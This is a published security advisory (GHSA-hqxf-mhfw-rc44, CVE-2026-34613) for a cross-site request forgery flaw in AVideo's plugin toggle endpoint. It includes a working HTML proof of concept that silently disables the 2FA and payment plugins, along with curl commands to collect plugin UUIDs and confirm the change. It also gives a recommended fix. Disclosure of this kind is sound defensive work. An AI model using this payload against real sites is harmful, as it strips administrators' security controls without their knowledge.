{"id":"GHSA-hqxf-mhfw-rc44","summary":"AVideo: CSRF on Plugin Enable/Disable Endpoint Allows Disabling Security Plugins","details":"## Summary\n\nThe AVideo endpoint `objects/pluginSwitch.json.php` allows administrators to enable or disable any installed plugin. The endpoint checks for an active admin session but does not validate a CSRF token. Additionally, the `plugins` database table is explicitly listed in `ignoreTableSecurityCheck()`, which means the ORM-level Referer/Origin domain validation in `ObjectYPT::save()` is also bypassed. Combined with `SameSite=None` on session cookies, an attacker can disable critical security plugins (such as LoginControl for 2FA, subscription enforcement, or access control plugins) by luring an admin to a malicious page.\n\nPlugin UUIDs are not secret values. They are hardcoded in the frontend JavaScript source and are consistent across installations, making it trivial for an attacker to target specific plugins.\n\n## Details\n\nThe `objects/pluginSwitch.json.php` endpoint checks admin status but performs no CSRF validation:\n\n```php\n// objects/pluginSwitch.json.php\nif (!User::isAdmin()) {\n    die('{\"error\": \"Must be admin\"}');\n}\n\n$obj = new Plugin(0);\n$obj-\u003eloadFromUUID($_POST['uuid']);\n$obj-\u003esetStatus($_POST['status']);\n$obj-\u003esave();\n```\n\nThe `plugins` table is explicitly excluded from the ORM security check at `objects/Object.php:529`:\n\n```php\n// objects/Object.php:529\npublic static function ignoreTableSecurityCheck() {\n    return array(\n        'plugins',\n        // ... other tables\n    );\n}\n```\n\nThis means the `save()` call does not trigger the Referer/Origin domain validation that normally acts as a secondary CSRF defense for other ORM operations.\n\nPlugin UUIDs are hardcoded in each plugin's `getUUID()` method and are consistent across all AVideo installations. Examples:\n\n| Plugin | UUID |\n|--------|------|\n| Gallery | `a06505bf-3570-4b1f-977a-fd0e5cab205d` |\n| LoginControl | `LoginControl-5ee8405eaaa16` |\n| Live | `e06b161c-cbd0-4c1d-a484-71018efa2f35` |\n| YPTWallet | `2faf2eeb-88ac-48e1-a098-37e76ae3e9f3` |\n\nThese are also exposed in frontend JavaScript:\n\n```javascript\n// design_first_page.php:99\nvar galleryUUID = 'a06505bf-3570-4b1f-977a-fd0e5cab205d';\n```\n\n## Proof of Concept\n\nHost the following HTML page on an attacker-controlled domain. This example disables the LoginControl plugin (which provides 2FA and login security enforcement):\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eAVI-031 PoC - Disable Security Plugin\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ch1\u003eLoading content...\u003c/h1\u003e\n\n\u003c!-- Disable LoginControl (2FA / brute force protection) --\u003e\n\u003ciframe name=\"f1\" style=\"display:none\"\u003e\u003c/iframe\u003e\n\u003cform id=\"disable1\" method=\"POST\" target=\"f1\"\n      action=\"https://your-avideo-instance.com/objects/pluginSwitch.json.php\"\u003e\n  \u003cinput type=\"hidden\" name=\"uuid\" value=\"LoginControl-5ee8405eaaa16\" /\u003e\n  \u003cinput type=\"hidden\" name=\"status\" value=\"inactive\" /\u003e\n\u003c/form\u003e\n\n\u003c!-- Disable YPTWallet (subscription/payment enforcement) --\u003e\n\u003ciframe name=\"f2\" style=\"display:none\"\u003e\u003c/iframe\u003e\n\u003cform id=\"disable2\" method=\"POST\" target=\"f2\"\n      action=\"https://your-avideo-instance.com/objects/pluginSwitch.json.php\"\u003e\n  \u003cinput type=\"hidden\" name=\"uuid\" value=\"2faf2eeb-88ac-48e1-a098-37e76ae3e9f3\" /\u003e\n  \u003cinput type=\"hidden\" name=\"status\" value=\"inactive\" /\u003e\n\u003c/form\u003e\n\n\u003cscript\u003e\n  document.getElementById('disable1').submit();\n  document.getElementById('disable2').submit();\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n**To find plugin UUIDs on a target instance:**\n\n```bash\n# UUIDs are exposed in the frontend source\ncurl -s \"https://your-avideo-instance.com/\" | grep -oP '[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}'\n```\n\n**Verification with curl:**\n\n```bash\n# Disable a plugin using an admin session\ncurl -b \"PHPSESSID=ADMIN_SESSION_COOKIE\" \\\n  -X POST \"https://your-avideo-instance.com/objects/pluginSwitch.json.php\" \\\n  -d \"uuid=a06505bf-3570-4b1f-977a-fd0e5cab205d&status=inactive\"\n\n# Verify the plugin is now inactive\ncurl -b \"PHPSESSID=ADMIN_SESSION_COOKIE\" \\\n  \"https://your-avideo-instance.com/admin/index.php\" | grep -A2 \"Gallery\"\n```\n\n## Impact\n\nAn attacker can silently disable any AVideo plugin by luring an authenticated admin to a malicious web page. This has significant security implications because AVideo relies on plugins for critical security functions:\n\n- **LoginControl**: Provides two-factor authentication and brute force protection. Disabling it removes 2FA for all users and allows unlimited login attempts.\n- **Subscription/PayPal/Stripe plugins**: Enforce payment requirements for premium content. Disabling them grants free access to paid videos.\n- **Access control plugins**: Restrict content visibility. Disabling them exposes private or restricted videos.\n\nThe attack is silent (no visible indication to the admin), the plugin UUIDs are public constants, and the `SameSite=None` cookie policy ensures cross-origin delivery of the admin session.\n\n- **CWE-352**: Cross-Site Request Forgery\n\n## Recommended Fix\n\nAdd CSRF token validation at `objects/pluginSwitch.json.php:11`, after the admin check:\n\n```php\n// objects/pluginSwitch.json.php:11\nif (!isGlobalTokenValid()) {\n    forbiddenPage('Invalid CSRF token');\n}\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*","aliases":["CVE-2026-34613"],"modified":"2026-04-01T21:11:22.541526Z","published":"2026-04-01T20:54:07Z","database_specific":{"github_reviewed_at":"2026-04-01T20:54:07Z","nvd_published_at":"2026-03-31T21:16:31Z","cwe_ids":["CWE-352"],"severity":"MODERATE","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-hqxf-mhfw-rc44"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34613"},{"type":"WEB","url":"https://github.com/WWBN/AVideo/commit/7ddfe4ec270d720e11f5dc28db73dfcd2cf9192a"},{"type":"WEB","url":"https://github.com/WWBN/AVideo/commit/da375103d59118d1c1b1801ac7fce3cd426f8736"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"affected":[{"package":{"name":"wwbn/avideo","ecosystem":"Packagist","purl":"pkg:composer/wwbn/avideo"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-hqxf-mhfw-rc44/GHSA-hqxf-mhfw-rc44.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N"}]}